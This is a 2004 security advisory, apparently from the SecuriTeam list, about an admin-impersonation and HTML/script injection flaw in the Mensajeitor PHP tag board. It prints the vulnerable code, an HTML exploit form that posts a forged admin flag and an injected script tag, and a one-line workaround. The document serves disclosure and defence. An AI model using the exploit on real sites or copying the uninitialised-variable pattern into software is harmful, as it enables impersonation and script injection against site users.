[UNIX] Mensajeitor Inadequate Permissions Check

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/04

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Date: 21 Jul 2004 11:44:08 +0200

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      Mensajeitor Inadequate Permissions Check
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mensajeitor.com/> Mensajeitor is "a kind of tag board, in
    which the visitors can insert his nick and a message in the web page where
    its installed". A vulnerability in the product allows an attacker to
    impersonate a user from the administrative group and post notes to the web
    site as if he was the administrator.

    DETAILS

    Vulnerable Systems:
     * Mensajeitor version v1.8.9 r1 and prior

    Vulnerable code:
      for($i=0;$i<count($NicksRegs);$i++) {
        list($admin_nick,$admin_pass) = explode(":",$NicksRegs[$i]);

        if ($nick == $admin_nick) {
           $cadena_final .= "<span class=\"admin\">".$nick."</span>";
           $AdminNick = "si";
        }
      }

      if ($AdminNick != "si") {
        $cadena_final .= "<acronym
    title='".nickinfo($nick_info)."'>$nick</acronym>";
      }

    As can be seen in the previous code, the default value for $AdminNick is
    not given, and if both checks fails no value is set by the code. This
    allows a remote attacker to set himself as part of the admin group by
    simply providing a default value for the $AdminNick parameter. This opens
    up the product to different types of attack, one of them is HTML and code
    injection attacks.

    Exploit:
    < html>
    < head>< title>Mensajeitor Exploit</title></head>
    < body>
    Inyeccion codigo en Mensajeitor =< v1.8.9 r1< br>< br>

    < form name="form1" method="post"
    action="http://www.victima.com/mensajeitor.php">
        < input type="text" name="nick" size="10" value="Nick" maxlength="9"><
    br>
        < input type="text" name="titulo" size="21" value="Mensaje">< br>
        < input type="text" name="url" size="21" value="http://">< br>
        < input type="hidden" name="AdminNick" value="si">< br>
        Introduce codigo a insertar (</table> debe incluirse al principio)<
    br>
        < input type="text" name="cadena_final" size="75%" value="</table><
    script>alert('hacked ;)')</script>">< br>
        < input type="submit" name="enviar" value="Enviar" class="form">< br>
    </form>

    MensajeitorPHP propiedad de aaff.< br>
    By Jordi Corrales (Shell Security Group, http://www.shellsec.net)
    </body></html>

    Workaround:
    Insert the following lines before $nick = htmlspecialchars($nick); found
    in the source code of the PHP script:
    if ($cadena_final) { unset($cadena_final); }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jordi@shellsec.net> Jordi
    Corrales.
    The original article can be found at:
    <http://www.shellsec.net/leer_advisory.php?id=4>
    http://www.shellsec.net/leer_advisory.php?id=4

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